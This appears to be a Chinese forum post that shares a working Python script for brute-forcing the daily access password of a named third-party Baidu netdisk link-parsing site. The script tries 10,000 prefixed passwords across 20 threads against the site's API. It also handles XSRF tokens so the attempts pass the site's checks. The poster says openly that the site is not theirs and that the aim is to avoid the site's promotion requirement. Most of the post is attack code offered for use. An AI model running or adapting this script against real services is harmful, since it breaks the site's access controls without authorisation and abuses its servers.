百度最新直链解析 不用下推广浏览器获取密码
网站不是我的 不涉及推广 我只是做了个脚本可以爆破他的解析密码
用法很简单吧分享链接和密码分别填进去 然后等就行了他这个网站密码每天换一次
有密码之后去他的网站解析下载就行了 在代码里面有地址
# -*- coding: utf-8 -*-
import re
import sys
import json
import argparse
import urllib.parse
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
import time
from queue import Queue
BASE_URL = "https://mf.dg22.top"
API_BASE = f"{BASE_URL}/api/v1"
UA = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
)
# 用于统计和显示
found_password = None
found_lock = threading.Lock()
total_tried = 0
total_lock = threading.Lock()
stop_flag = False
def extract_surl(link: str) -> str:
"""与前端 getUrlId 一致: 从分享链接提取 surl 短码"""
m = re.search(r"s/([a-zA-Z0-9_-]+)", link)
if m:
return m.group(1)
m = re.search(r"surl=([a-zA-Z0-9_-]+)", link)
if m:
return "1" + m.group(1)
return ""
def extract_pwd(link: str) -> str:
"""从链接中自动提取 pwd (若有)"""
m = re.search(r"\?pwd=([a-zA-Z0-9_-]+)", link)
if not m:
m = re.search(r"&pwd=([a-zA-Z0-9_-]+)", link)
if not m:
m = re.search(r"提取码[::]\s?([a-zA-Z0-9_-]+)", link)
return m.group(1) if m else ""
def try_password(session, share_link, surl, pwd, dir_path, parse_password, index, total):
"""尝试单个密码"""
global found_password, stop_flag, total_tried
if stop_flag:
return None
# 复制 session 以避免线程间冲突
local_session = requests.Session()
local_session.headers.update(session.headers.copy())
try:
# 获取 XSRF-TOKEN
local_session.get(f"{BASE_URL}/user/parse", timeout=10)
xsrf = local_session.cookies.get("XSRF-TOKEN")
if xsrf:
local_session.headers["X-XSRF-TOKEN"] = urllib.parse.unquote(xsrf)
payload = {
"url": share_link,
"surl": surl,
"pwd": pwd,
"dir": dir_path,
"parse_password": parse_password,
}
resp = local_session.post(
f"{API_BASE}/user/parse/get_file_list",
json=payload,
timeout=30
)
# 更新尝试计数
with total_lock:
total_tried += 1
if total_tried % 50 == 0:
print(f"\r进度: {total_tried}/{total} ({total_tried*100//total}%)", end="")
sys.stdout.flush()
if resp.status_code == 200:
data = resp.json()
# 检查是否成功(根据实际API响应结构调整)
if data.get("code") == 0 or data.get("data") is not None:
with found_lock:
if found_password is None:
found_password = parse_password
stop_flag = True
print(f"\n\n✅ 找到密码: {parse_password}")
print(json.dumps(data, ensure_ascii=False, indent=2))
return parse_password
elif "密码错误" in str(data) or "password" in str(data).lower():
return None
else:
return None
except Exception as e:
# 忽略超时等错误,继续尝试
pass
return None
def main():
global found_password, stop_flag, total_tried
parser = argparse.ArgumentParser(description="BD解析密码批量爆破")
parser.add_argument("share_link", nargs="?", help="百度网盘分享链接")
parser.add_argument("-p", "--pwd", default="", help="分享提取码")
parser.add_argument("-d", "--dir", default="/", help="目录路径, 默认 /")
parser.add_argument("-t", "--threads", type=int, default=20, help="线程数, 默认20")
parser.add_argument("--start", type=int, default=0, help="起始数字 (0-9999), 默认0")
parser.add_argument("--end", type=int, default=9999, help="结束数字 (0-9999), 默认9999")
parser.add_argument("--prefix", default="xdg22top", help="密码前缀, 默认 xdg22top")
args = parser.parse_args()
share_link = args.share_link or input("分享链接: ").strip()
pwd = args.pwd or extract_pwd(share_link) or input("提取码: ").strip()
if not share_link or not pwd:
print("错误: 分享链接和提取码不能为空", file=sys.stderr)
sys.exit(1)
surl = extract_surl(share_link)
prefix = args.prefix
# 生成密码列表
start = max(0, min(args.start, 9999))
end = max(start, min(args.end, 9999))
passwords = [f"{prefix}{str(i).zfill(4)}" for i in range(start, end + 1)]
total = len(passwords)
print(f"目标: {share_link}")
print(f"提取码: {pwd}")
print(f"密码前缀: {prefix}")
print(f"尝试范围: {start}-{end} (共 {total} 个密码)")
print(f"线程数: {args.threads}")
print("开始爆破...\n")
# 创建主 session 获取基础 headers
main_session = requests.Session()
main_session.headers.update({
"User-Agent": UA,
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json",
"Referer": f"{BASE_URL}/user/parse",
"Origin": BASE_URL,
})
# 预先获取一次 cookie
try:
main_session.get(f"{BASE_URL}/user/parse", timeout=15)
except:
pass
start_time = time.time()
# 使用线程池爆破
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = {}
for i, password in enumerate(passwords):
if stop_flag:
break
future = executor.submit(
try_password,
main_session,
share_link,
surl,
pwd,
args.dir,
password,
i + 1,
total
)
futures[future] = password
# 等待所有任务完成
for future in as_completed(futures):
if stop_flag:
executor.shutdown(wait=False, cancel_futures=True)
break
try:
future.result(timeout=5)
except:
pass
elapsed = time.time() - start_time
print(f"\n\n爆破完成!")
print(f"已尝试: {total_tried}/{total} 个密码")
print(f"耗时: {elapsed:.2f} 秒")
if found_password:
print(f"✅ 找到解析密码: {found_password}")
else:
print("❌ 未找到有效解析密码")
print("提示: 可能密码不在范围内,或API响应判断条件需要调整")
if __name__ == "__main__":
main()